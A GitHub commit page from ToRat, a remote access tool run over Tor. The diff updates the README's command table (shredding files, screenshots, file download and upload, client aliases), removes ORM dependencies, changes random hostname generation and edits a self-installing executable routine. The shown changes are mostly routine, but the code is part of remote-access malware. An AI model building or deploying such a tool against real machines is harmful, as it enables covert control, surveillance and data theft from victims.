Skip to content
This repository has been archived by the owner on Mar 26, 2023. It is now read-only.

Commit

Permalink
Move to json for data storage
Browse files Browse the repository at this point in the history
as an ORM was a little confusing/ overpowered, fixes #171.

Fix random hostname generation, fixes #221.

Remove unessecary directory deletion, fixes #176.
  • Loading branch information
lu4p committed Mar 8, 2021
1 parent 8a07fdc commit 91105a7
Show file tree
Hide file tree
Showing 10 changed files with 131 additions and 123 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -8,3 +8,4 @@ keygen/hs_private
data-dir-*
.vscode
*.pem
test/
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ USE FOR EDUCATIONAL PURPOSES ONLY
**shred** | Working | delete files/ directories unrecoverable
**screen** | Working | take a Screenshot of the client
**cat** | Working | view Textfiles from the client including .docx, .rtf, .pdf, .odt
**alias** | Not Working | give the client a custom alias
**alias** | Working | give the client a custom alias
**down** | Working | download a file from the client
**up** | Working | upload a file to the client
**speedtest** | Working | speedtest a client's internet connection
Expand All @@ -44,7 +44,7 @@ USE FOR EDUCATIONAL PURPOSES ONLY
--- | --- | ---
**select** | Working | select client to interact with
**list** | Working | list all connected clients
**alias** | Not Working | select client to give an alias
**alias** | Working | select client to give an alias
**cd** | Working | change the working directory of the server
**help** | Working | lists possible commands with usage info
**exit** | Working | exit the server
Expand Down
3 changes: 0 additions & 3 deletions go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -20,14 +20,11 @@ require (
github.com/lu4p/cat v0.1.5
github.com/lu4p/go-escalate v0.0.0-20200507153608-2d90c2953bff
github.com/lu4p/shred v0.0.0-20201211173428-0347b645d724
github.com/mattn/go-sqlite3 v2.0.3+incompatible // indirect
github.com/showwin/speedtest-go v1.1.1
github.com/stretchr/testify v1.7.0 // indirect
github.com/vova616/screenshot v0.0.0-20191005130345-da36db2560ab
golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad // indirect
golang.org/x/net v0.0.0-20210119194325-5f4716e94777 // indirect
golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect
gorm.io/driver/sqlite v1.1.4
gorm.io/gorm v1.21.3
)
14 changes: 0 additions & 14 deletions go.sum
Original file line number Diff line number Diff line change
Expand Up @@ -43,10 +43,6 @@ github.com/jaypipes/ghw v0.7.0/go.mod h1:+gR9bjm3W/HnFi90liF+Fj9GpCe/Dsibl9Im8Km
github.com/jaypipes/pcidb v0.6.0 h1:VIM7GKVaW4qba30cvB67xSCgJPTzkG8Kzw/cbs5PHWU=
github.com/jaypipes/pcidb v0.6.0/go.mod h1:L2RGk04sfRhp5wvHO0gfRAMoLY/F3PKv/nwJeVoho0o=
github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
Expand All @@ -66,9 +62,6 @@ github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hd
github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/mattn/go-sqlite3 v2.0.3+incompatible h1:gXHsfypPkaMZrKbD5209QV9jbUTJKjyR5WD3HYQSd+U=
github.com/mattn/go-sqlite3 v2.0.3+incompatible/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=
github.com/mitchellh/go-homedir v1.0.0 h1:vKb8ShqSby24Yrqr/yDYkuFz8d0WUjys40rvnGC8aR0=
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/pkg/errors v0.8.0 h1:WdK/asTD0HN+q6hsWO3/vpuAkAr+tw6aNJNDFFf0+qw=
Expand Down Expand Up @@ -118,12 +111,5 @@ gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/sqlite v1.1.4 h1:PDzwYE+sI6De2+mxAneV9Xs11+ZyKV6oxD3wDGkaNvM=
gorm.io/driver/sqlite v1.1.4/go.mod h1:mJCeTFr7+crvS+TRnWc5Z3UvwxUN1BGBLMrf5LA9DYw=
gorm.io/gorm v1.20.7/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.21.2 h1:E9FgSzS9qZneyf5MlXTJBYEZ2ZZKrB993s2v+XBu7vo=
gorm.io/gorm v1.21.2/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.21.3 h1:qDFi55ZOsjZTwk5eN+uhAmHi8GysJ/qCTichM/yO7ME=
gorm.io/gorm v1.21.3/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
howett.net/plist v0.0.0-20181124034731-591f970eefbb h1:jhnBjNi9UFpfpl8YZhA9CrOqpnJdvzuiHsl/dnxl11M=
howett.net/plist v0.0.0-20181124034731-591f970eefbb/go.mod h1:vMygbs4qMhSZSc4lCUl2OEE+rDiIIJAIdR4m7MiMcm0=
12 changes: 6 additions & 6 deletions torat_client/crypto/crypto.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,24 +6,24 @@ import (
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"encoding/base64"
"encoding/gob"
"io"
"log"
mathrand "math/rand"
"os"

"github.com/lu4p/ToRat/shared"
)

// GenRandString generate a random string
func GenRandString() string {
all := "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
b := make([]byte, 16)
for i := range b {
num := mathrand.Intn(len(all))
b[i] = all[num]
_, err := rand.Read(b)
if err != nil {
log.Fatalln("Couldn't generate hostname:", err)
}
return string(b)

return string(base64.RawURLEncoding.EncodeToString(b))
}

// genHostname generates the Hostname of the machine
Expand Down
5 changes: 0 additions & 5 deletions torat_client/setup.go
Original file line number Diff line number Diff line change
Expand Up @@ -21,11 +21,6 @@ func SetupDaemon() {
// installExecuteable copies the currently running executeable
// TODO: Remove duplicate source payload once RAT is installed
func installExecuteable() error {
if err := os.RemoveAll(Path); err != nil {
log.Println("[InstallExe] [!] Couldn't clear executeable path:", err)
return err
}

ex, err := os.Executable()
if err != nil {
log.Println("[InstallExe] [!] Couldn't find the currently running exe:", err)
Expand Down
Loading

0 comments on commit 91105a7

Please sign in to comment.